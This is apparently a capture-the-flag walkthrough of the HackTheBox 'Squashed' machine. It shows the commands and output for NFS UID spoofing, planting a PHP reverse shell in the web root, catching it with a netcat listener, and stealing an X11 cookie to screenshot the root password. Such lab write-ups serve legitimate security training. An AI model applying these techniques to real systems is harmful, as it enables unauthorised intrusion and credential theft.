description | cover | coverY |
---|---|---|
Squashed is an easy Linux box from Hackthebox, that will help us understand the importance of the user id, groups and how to exploit the X11 protocol in order to gain root access |
.gitbook/assets/Squashed.png |
267.0443814919735 |
Let’s start by enumerating the service running using NMAP (Network MAPper)
nmap -p- -T4 -vv -oN all-port.log 10.10.11.191
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
111/tcp open rpcbind syn-ack ttl 63
2049/tcp open nfs syn-ack ttl 63
33561/tcp open unknown syn-ack ttl 63
36027/tcp open unknown syn-ack ttl 63
46379/tcp open unknown syn-ack ttl 63
48605/tcp open unknown syn-ack ttl 63
nmap -p22,80,111,2049 -sVC -vv -T4 10.10.11.191
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Built Better
111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 33457/tcp6 mountd
| 100005 1,2,3 48429/udp mountd
| 100005 1,2,3 51461/tcp mountd
| 100005 1,2,3 57556/udp6 mountd
| 100021 1,3,4 34736/udp6 nlockmgr
| 100021 1,3,4 42091/tcp6 nlockmgr
| 100021 1,3,4 45453/tcp nlockmgr
| 100021 1,3,4 48090/udp nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
2049/tcp open nfs_acl syn-ack ttl 63 3 (RPC #100227)
Trying to connect anonymously to RPC is not allowed on this server.
➜ rpcclient -U "" -N 10.10.11.191
Cannot connect to server. Error was NT_STATUS_CONNECTION_REFUSED
since we have the nfs open, let’s try to see, with the help of this article, how to enumerate the nfs service. To do so, we use the showmount command in order to display the mounted files on the server. Here is an output
➜ showmount -e 10.10.11.191
Export list for 10.10.11.191:
/home/ross *
/var/www/html *
With this we can see the name of a ‘ross’. Now let’s try to mount those folders into our machine by doing the following:
sudo mount -t nfs 10.10.11.191:/home/ross /mnt/squashed/ -o nolock
Once mounted, we can now browse the mounted directory under /mnt/squashed
. After enumerating the directory, we found a Passwords.kbx
file which of course is not readable by humans. A quick file description tell us more about the file
➜ ls -l
total 4
-rw-rw-r-- 1 1001 1001 1365 Oct 19 07:57 Passwords.kdbx
➜ file Passwords.kdbx
Passwords.kdbx: Keepass password database 2.x KDBX
After a quick Google search, we found out that keep pass is an open source password manager, and can is vulnerable. Meaning, we can easily crack it using johntheripper/john
First we need to extract the hash using keepass2john
and then crack the hash using hashcat
After many failed attempts, keepass2john is not hashing the password. Let’s take another route. This time there is one thing that caught my attention. The fact that while listing the files I could notice one thing. The mounted file doesn’t belong to any user but instead on the UID(User ID) and group of 1001.
After running these commands, the file user and groups also changed to own new user which happens to have the same UID as the user on the target machine
After all that trouble, i did not find anything interesting
➜ sudo mount -t nfs 10.10.11.191:/var/www/html /mnt/www/
mount.nfs: access denied by server while mounting 10.10.11.191:/var/www/html
We cannot mount the /var/www/html we do not have the right permission. a quick ls -l /mnt/www
which is where i intended to mount the /var/www/html show that this time the UID is 2017.
➜ ls -ld /mnt/www/
drwxr-xr-- 5 **2017** www-data 4096 Dec 2 13:20 /mnt/www/
Which in my opinion can be accessed by our lbl user once we alter is UID.
We can do that by running the following:
sudo usermod -u 2017 lbl
Now we can read the source files of the app now and the web server as well, since it’s mounted it means if we can add a file it should reflect on the server. We can read, let’s see if we can write on this folder
$ touch rev
$ ls -l
total 44
drwxr-xr-x 2 lbl www-data 4096 Dec 2 13:50 css
drwxr-xr-x 2 lbl www-data 4096 Dec 2 13:50 images
-rw-r----- 1 lbl www-data 32532 Dec 2 13:50 index.html
drwxr-xr-x 2 lbl www-data 4096 Dec 2 13:50 js
**-rw-rw-r-- 1 lbl lbl 0 Dec 2 13:53 rev**
we added a content on that file just to see what is happening. The file content is just ‘interesting…’. Now it’s confirmed we can read and write on the server’s folder. This is interesting indeed because now it shows that we can inject our reverse shell and execute it by ourselves.
web server file injection
Now let’s craft our reverse shell properly, well no need to craft but there is this link that got it figure out. We will get that php file and modifies the rev file we created in the server. One thing left to do is to run the listener and wait to intercept the connection. One may ask why i choose PHP, and it’s actually because of the info leaked in the .htaccess file
$ cat .htaccess
AddType application/x-httpd-php .htm .html
nc -nvlp 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.11.191 38300
Linux squashed.htb 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
20:23:21 up 14:59, 1 user, load average: 0.05, 0.03, 0.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ross tty7 :0 05:24 14:59m 1:40 0.03s /usr/libexec/gnome-session-binary --systemd --session=gnome
uid=2017(alex) gid=2017(alex) groups=2017(alex)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
alex
$ id
uid=2017(alex) gid=2017(alex) groups=2017(alex)
$ groups
alex
Now let’s stabilize our shell by doing the following:
alex@squashed:/home/alex$ **script /dev/null -c bash** [12/12]
script /dev/null -c bash
Script started, file is /dev/null
alex@squashed:/home/alex$ **^Z**
[1]+ Stopped nc -nvlp 1234
d0n in ~/Squashed/Intell on ☁️
✦ 🕘 14:38:22 ✖ **stty raw -echo; fg**
nc -nvlp 1234
**reset**
alex@squashed:/home/alex$ export SHELL=bash
Now time to get to the system user.
After running linpeas and a ton of enumeration nothing popped out but the .Xauthority file found in ross home directory. As Alex we were not able to read the content of the file, so we went back to mount the file just as we did before with the user we created earlier ‘lbl’, we will need to change his UID in 1001 in order to see the content of the file
According to this article, .Xauthority file is a file used by the X window system to control access to user’s X server.
$ cat .Xauthority
squashed.htb0MIT-MAGIC-COOKIE-1O1hq> }U$
After some research, I found an interesting article from hacktricks about pentesting X11 protocol. There i found out there was a way to test the connection to the X11, by checking the with these different commands. First we checked the connected users with ‘w’, then we try to verify the connection to the X11 in two different ways first with the xdpyinfo and then with xwininfo. Sadly, these two commands gave no results
alex@squashed:/home/alex$ w
02:21:43 up 20:57, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
ross tty7 **:0** Fri05 20:57m 2:20 0.03s /usr/libexec/gn
alex@squashed:/home/alex$ xdpyinfo -display **:0**
No protocol specified
xdpyinfo: unable to open display ":0".
alex@squashed:/home/alex$ xwininfo -root -tree -display :0
No protocol specified
xwininfo: error: unable to open display ":0"
under /home/alex the file .Xauthority was not found, but we do have access to the one of ross from the mounted folder. Let’s try to transfer ross’ .Xauthority file into /home/alex. Once done, we got the file and the encrypted content in the /home/alex directory. We can now start our enumeration of X11 again.
After uploading the .Xauthority file, we are still not able to run the 2 verification commands. The fact that the file is supposed to stay in the $HOME environment, for instance /home/ross
or /home/alex
, is a hint because when checking the environment variables, there was nothing like a HOME variable, so we need to set it up and try again to see.
alex@squashed:/home/alex$ env
SHELL=bash
PWD=/home/alex
APACHE_LOG_DIR=/var/log/apache2
LANG=C
INVOCATION_ID=0e79c2b4e7404955b90623fe6a501218
APACHE_PID_FILE=/var/run/apache2/apache2.pid
TERM=xterm-256color
APACHE_RUN_GROUP=www-data
APACHE_LOCK_DIR=/var/lock/apache2
SHLVL=2
LC_CTYPE=C.UTF-8
APACHE_RUN_DIR=/var/run/apache2
JOURNAL_STREAM=9:27149
APACHE_RUN_USER=www-data
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
OLDPWD=/home/ross
_=/usr/bin/env
alex@squashed:/home/alex$ export HOME=/home/alex
alex@squashed:~$ env
SHELL=bash
PWD=/home/alex
HOME=/home/alex
APACHE_LOG_DIR=/var/log/apache2
LANG=C
[skip]
Now that our HOME variable is set, let’s try again and we got some output now, which means that the system can now read the cookie/auth file.
alex@squashed:~$ xdpyinfo -display
[skip]
visual:
visual id: 0x428
class: TrueColor
depth: 24 planes
available colormap entries: 256 per subfield
red, green, blue masks: 0xff0000, 0xff00, 0xff
significant bits in color specification: 8 bits
[skip]
alex@squashed:~$ xwininfo -root -tree -display :0
xwininfo: Window id: 0x533 (the root window) (has no name)
Root window id: 0x533 (the root window) (has no name)
Parent window id: 0x0 (none)
26 children:
0x80000b "gnome-shell": ("gnome-shell" "Gnome-shell") 1x1+-200+-200 +-200+-200
1 child:
0x80000c (has no name): () 1x1+-1+-1 +-201+-201
0x800021 (has no name): () 802x575+-1+26 +-1+26
1 child:
0x1c00006 "Passwords - KeePassXC": ("keepassxc" "keepassxc") 800x536+1+38 +0+64
1 child:
0x1c000fe "Qt NET_WM User Time Window": () 1x1+-1+-1 +-1+63
0x1c00008 "Qt Client Leader Window": () 1x1+0+0 +0+0
0x800017 (has no name): () 1x1+-1+-1 +-1+-1
0x2000001 "evolution-alarm-notify": ("evolution-alarm-notify" "Evolution-alarm-notify") 10x10+10+10 +10+10
0x1e00001 "keepassxc": ("keepassxc" "Keepassxc") 10x10+10+10 +10+10
0x1c00004 "Qt Selection Owner for keepassxc": () 3x3+0+0 +0+0
0x1600001 "gsd-wacom": ("gsd-wacom" "Gsd-wacom") 10x10+10+10 +10+10
0x1a00002 (has no name): () 10x10+0+0 +0+0
0x1a00001 "gsd-xsettings": ("gsd-xsettings" "Gsd-xsettings") 10x10+10+10 +10+10
0x1800001 "gsd-media-keys": ("gsd-media-keys" "Gsd-media-keys") 10x10+10+10 +10+10
0x1400001 "gsd-color": ("gsd-color" "Gsd-color") 10x10+10+10 +10+10
0x1200001 "gsd-keyboard": ("gsd-keyboard" "Gsd-keyboard") 10x10+10+10 +10+10
0x1000001 "gsd-power": ("gsd-power" "Gsd-power") 10x10+10+10 +10+10
0xc00001 "ibus-extension-gtk3": ("ibus-extension-gtk3" "Ibus-extension-gtk3") 10x10+10+10 +10+10
0xa00003 "ibus-xim": () 1x1+0+0 +0+0
1 child:
0xa00004 (has no name): () 1x1+-1+-1 +-1+-1
0xa00001 "ibus-x11": ("ibus-x11" "Ibus-x11") 10x10+10+10 +10+10
0x800011 (has no name): () 1x1+-100+-100 +-100+-100
0x80000f (has no name): () 1x1+-1+-1 +-1+-1
0x800009 (has no name): () 1x1+-100+-100 +-100+-100
0x800008 (has no name): () 1x1+-100+-100 +-100+-100
0x800007 (has no name): () 1x1+-100+-100 +-100+-100
0x800006 "GNOME Shell": () 1x1+-100+-100 +-100+-100
0x800001 "gnome-shell": ("gnome-shell" "Gnome-shell") 10x10+10+10 +10+10
0x600008 (has no name): () 1x1+-100+-100 +-100+-100
0x800010 "mutter guard window": () 800x600+0+0 +0+0
As we can see the root user is connected and has all these windows open. According to the process mentioned in Hacktricks, we can see that we need to run a command to screenshot the credentials of the root user
The first command did not work because of the fact that we are inside the machine so the I.P was not needed at this point.
alex@squashed:~$ xwd -root -screen -silent -display 10.10.11.191:0 > screenshot.xwd
xwd: unable to open display '10.10.11.191:0'
alex@squashed:~$ xwd -root -screen -silent -display :0 > screenshot.xwd
alex@squashed:~$ file screenshot.xwd
screenshot.xwd: XWD X Window Dump image data, "xwdump", 800x600x24
Few things left to do, for those who don’t have it installed, convert is a program member of the ImageMagick suite of tools. Now, I will serve the file to my machine and convert it to a png or jpg file the choice is yours, then let’s open the converted file.
Connecting to 10.10.11.191:8080... connected. [17/64]
HTTP request sent, awaiting response... 200 OK
Length: 1923179 (1.8M) [image/x-xwindowdump]
Saving to: ‘screenshot.xwd’
screenshot.xwd 100%[=============================================>] 1.83M 1.16MB/s in 1.6s
2022-12-02 21:19:45 (1.16 MB/s) - ‘screenshot.xwd’ saved [1923179/1923179]
d0n in ~/Squashed/Intell/Remote-Files on ☁️
➜ convert screenshot.xwd screenshot.jpg
once done, and booya ! we got the root password
screenshot.jpg
and the rest is just to read to log in as root with his password, by running su root
and finally read the root.txt flag
root flag
I hope this helped you understand the box, Happy hacking !
{% embed url="https://app.hackthebox.com/profile/435501" %}